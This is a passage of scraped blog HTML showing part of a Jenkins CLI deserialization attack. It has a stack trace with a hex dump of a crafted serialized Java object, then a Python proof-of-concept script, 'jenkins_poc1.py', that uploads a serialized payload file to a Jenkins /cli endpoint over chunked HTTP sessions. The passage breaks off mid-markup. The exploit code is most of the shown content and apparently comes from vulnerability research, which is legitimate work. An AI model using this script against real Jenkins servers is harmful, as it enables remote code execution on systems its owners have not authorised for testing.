class=\"crayon-s\">&#8216;k&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x96<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x0e<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x1b<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x03<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;xpsr&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x15<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;net.sf.json.JSONArray]&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x01<\/span><span class=\"crayon-h\"> <\/span>&#8216;<span class=\"crayon-st\">To<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-i\">r<\/span><span class=\"crayon-s\">&#8216; 0xd2 0x02 0x00 0x02 &#8216;<\/span><span class=\"crayon-i\">Z<\/span><span class=\"crayon-s\">&#8216; 0x00 0x0e &#8216;<\/span><span class=\"crayon-i\">expandElementsL<\/span><span class=\"crayon-s\">&#8216; 0x00 0x08 &#8216;<\/span><span class=\"crayon-i\">elementsq<\/span><span class=\"crayon-s\">&#8216; 0x00 &#8216;<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-s\">&#8216; 0x00 0x18 &#8216;<\/span><span class=\"crayon-i\">xr<\/span><span class=\"crayon-s\">&#8216; 0x00 0x18 &#8216;<\/span><span class=\"crayon-v\">net<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v \">sf<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v \">json<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v \">AbstractJSON<\/span><span class=\"crayon-s\">&#8216; 0xe8 0x8a 0x13 0xf4 0xf6 0x9b &#8216;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-s\">&#8216; 0x82 0x02 0x00 0x00 &#8216;<\/span><span class=\"crayon-i\">xp<\/span><span class=\"crayon-s\">&#8216; 0x00 &#8216;<\/span><span class=\"crayon-i\">sr<\/span><span class=\"crayon-s\">&#8216; 0x00 0x13 &#8216;<\/span><span class=\"crayon-v\">java<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v \">util<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v \">ArrayListx<\/span><span class=\"crayon-s\">&#8216; 0x81 0xd2 0x1d 0x99 0xc7 &#8216;<\/span><span class=\"crayon-i\">a<\/span><span class=\"crayon-s\">&#8216; 0x9d 0x03 0x00 0x01 &#8216;<\/span><span class=\"crayon-i\">I<\/span><span class=\"crayon-s\">&#8216; 0x00 0x04 &#8216;<\/span><span class=\"crayon-i\">sizexp<\/span><span class=\"crayon-s\">&#8216; 0x00 0x00 0x00 0x01 &#8216;<\/span><span class=\"crayon-i\">w<\/span><span class=\"crayon-s\">&#8216; 0x04 0x00 0x00 0x00 0x01 &#8216;<\/span><span class=\"crayon-i\">t<\/span><span class=\"crayon-s\">&#8216; 0x00 0x06 &#8216;<\/span><span class=\"crayon-i\">randomxxsq<\/span><span class=\"crayon-s\">&#8216; 0x00 &#8216;<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-s\">&#8216; 0x00 0x1e 0x00 0x00 0x00 0x00 &#8216;<\/span><span class=\"crayon-i\">w<\/span><span class=\"crayon-s\">&#8216; 0x04 0x00 0x00 0x00 0x00 &#8216;<\/span><span class=\"crayon-i\">xxq<\/span><span class=\"crayon-s\">&#8216; 0x00 &#8216;<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-s\">&#8216; 0x00 &#8216;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">sq<\/span><span class=\"crayon-s\">&#8216; 0x00 &#8216;<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-s\">&#8216; 0x00 0x02 &#8216;<\/span><span class=\"crayon-i\">sq<\/span><span class=\"crayon-s\">&#8216; 0x00 &#8216;<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-s\">&#8216; 0x00 0x05 &#8216;<\/span><span class=\"crayon-i\">w<\/span><span class=\"crayon-s\">&#8216; 0x04 0x00 0x00 0x00 0x02 &#8216;<\/span><span class=\"crayon-i\">q<\/span><span class=\"crayon-s\">&#8216; 0x00 &#8216;<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-s\">&#8216; 0x00 0x1a &#8216;<\/span><span class=\"crayon-i\">q<\/span><span class=\"crayon-s\">&#8216; 0x00 &#8216;<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-s\">&#8216; 0x00 0x09 &#8216;<\/span><span class=\"crayon-i\">xq<\/span><span class=\"crayon-s\">&#8216; 0x00 &#8216;<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-s\">&#8216; 0x00 &#8216;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">px<\/span>&#8216;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e8356a268343804-9\"><span class=\"crayon-e\">Read <\/span><span class=\"crayon-v\">ahead<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e8356a268343804-10\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">at <\/span><span class=\"crayon-v\">hudson<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v \">remoting<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v \">FlightRecorderInputStream<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v \">analyzeCrash<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">FlightRecorderInputStream<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v \">java<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">80<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e8356a268343804-11\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">at <\/span><span class=\"crayon-v\">hudson<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">remoting<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">ClassicCommandTransport<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">diagnoseStreamCorruption<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">ClassicCommandTransport<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">java<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">93<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e8356a268343804-12\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">at <\/span><span class=\"crayon-v\">hudson<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">remoting<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">ClassicCommandTransport<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">read<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">ClassicCommandTransport<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">java<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">75<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e8356a268343804-13\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">at <\/span><span class=\"crayon-v\">hudson<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">remoting<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">SynchronousCommandTransport<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">ReaderThread<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">run<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">SynchronousCommandTransport<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">java<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">59<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e8356a268343804-14\"><span class=\"crayon-e\">Caused <\/span><span class=\"crayon-v\">by<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">java<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">lang<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">ClassCastException<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">org<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">apache<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">commons<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">collections<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">map<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">ReferenceMap <\/span><span class=\"crayon-e\">cannot <\/span><span class=\"crayon-e\">be <\/span><span class=\"crayon-e\">cast <\/span><span class=\"crayon-st\">to<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">hudson<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">remoting<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">Command<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e8356a268343804-15\"><span class=\"crayon-e\">\t<\/span><span class=\"crayon-e\">at <\/span><span class=\"crayon-v\">hudson<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">remoting<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">Command<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">readFrom<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">Command<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">java<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">96<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e8356a268343804-16\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">at <\/span><span class=\"crayon-v\">hudson<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">remoting<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">ClassicCommandTransport<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">read<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">ClassicCommandTransport<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">java<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">70<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0327 seconds] -->  <\/p>\n<p><strong>jenkins_poc1.py<\/strong><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5907b45e83572711400876\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> import urllib    import requests  import uuid  import threading  import time  import gzip  import urllib3  import zlib    proxies = {  #  &#8216;http&#8217;: &#8216;http:\/\/127.0.0.1:8090&#8217;,  #  &#8216;https&#8217;: &#8216;http:\/\/127.0.0.1:8090&#8242;,  }    URL=&#8217;http:\/\/192.168.18.161:8080\/cli&#8217;    PREAMLE='&lt;===[JENKINS REMOTING CAPACITY]===&gt;rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4=&#8217;  PROTO = &#8216;x00x00x00x00&#8217;      FILE_SER = open(&#8220;jenkins_poc1.ser&#8221;, &#8220;rb&#8221;).read()    def download(url, session):        headers = {&#8216;Side&#8217; : &#8216;download&#8217;}      headers[&#8216;Content-type&#8217;] = &#8216;application\/x-www-form-urlencoded&#8217;      headers[&#8216;Session&#8217;] = session      headers[&#8216;Transfer-Encoding&#8217;] = &#8216;chunked&#8217;      r = requests.post(url, data=null_payload(),headers=headers, proxies=proxies, stream=True)      print r.text      def upload(url, session, data):        headers = {&#8216;Side&#8217; : &#8216;upload&#8217;}      headers[&#8216;Session&#8217;] = session      headers[&#8216;Content-type&#8217;] = &#8216;application\/octet-stream&#8217;      headers[&#8216;Accept-Encoding&#8217;] = None      r = requests.post(url,data=data,headers=headers,proxies=proxies)      def upload_chunked(url,session, data):        headers = {&#8216;Side&#8217; : &#8216;upload&#8217;}      headers[&#8216;Session&#8217;] = session      headers[&#8216;Content-type&#8217;] = &#8216;application\/octet-stream&#8217;      headers[&#8216;Accept-Encoding&#8217;]= None      headers[&#8216;Transfer-Encoding&#8217;] = &#8216;chunked&#8217;      headers[&#8216;Cache-Control&#8217;] = &#8216;no-cache&#8217;        r = requests.post(url, headers=headers, data=create_payload_chunked(), proxies=proxies)      def null_payload():      yield &#8221; &#8221;    def create_payload():      payload = PREAMLE + PROTO + FILE_SER        return payload    def create_payload_chunked():      yield PREAMLE      yield PROTO      yield FILE_SER    def main():      print &#8220;start&#8221;        session = str(uuid.uuid4())        t = threading.Thread(target=download, args=(URL, session))      t.start()        time.sleep(1)      print &#8220;pwn&#8221;      #upload(URL, session, create_payload())        upload_chunked(URL, session, &#8220;asdf&#8221;)    if __name__ == &#8220;__main__&#8221;:      main()<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-48\">48<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-49\">49<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-50\">50<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-51\">51<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-52\">52<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-53\">53<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-54\">54<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-55\">55<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-56\">56<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-57\">57<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-58\">58<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-59\">59<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-60\">60<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-61\">61<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-62\">62<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-63\">63<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-64\">64<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-65\">65<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-66\">66<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-67\">67<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-68\">68<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-69\">69<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-70\">70<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-71\">71<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-72\">72<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-73\">73<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-74\">74<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-75\">75<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-76\">76<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-77\">77<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-78\">78<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-79\">79<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-80\">80<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-81\">81<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83572711400876-82\">82<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83572711400876-83\">83<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-1\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">urllib<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-2\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-3\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">requests<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-4\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">uuid<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-5\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">threading<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-6\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">time<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-7\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">gzip<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-8\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">urllib3<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-9\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">zlib<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-10\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-11\"><span class=\"crayon-v\">proxies<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-12\"><span class=\"crayon-p\">#&nbsp;&nbsp;&#8216;http&#8217;: &#8216;http:\/\/127.0.0.1:8090&#8217;,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-13\"><span class=\"crayon-p\">#&nbsp;&nbsp;&#8216;https&#8217;: &#8216;http:\/\/127.0.0.1:8090&#8217;,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-14\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-15\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-16\"><span class=\"crayon-v\">URL<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8216;http:\/\/192.168.18.161:8080\/cli&#8217;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-17\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-18\"><span class=\"crayon-v\">PREAMLE<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8216;&lt;===[JENKINS REMOTING CAPACITY]===&gt;rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4=&#8217;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-19\"><span class=\"crayon-v\">PROTO<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;x00x00x00x00&#8217;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-20\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-21\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-22\"><span class=\"crayon-v\">FILE_SER<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">open<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;jenkins_poc1.ser&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;rb&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">read<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-23\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-24\"><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">download<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">url<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">session<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-25\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-26\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span 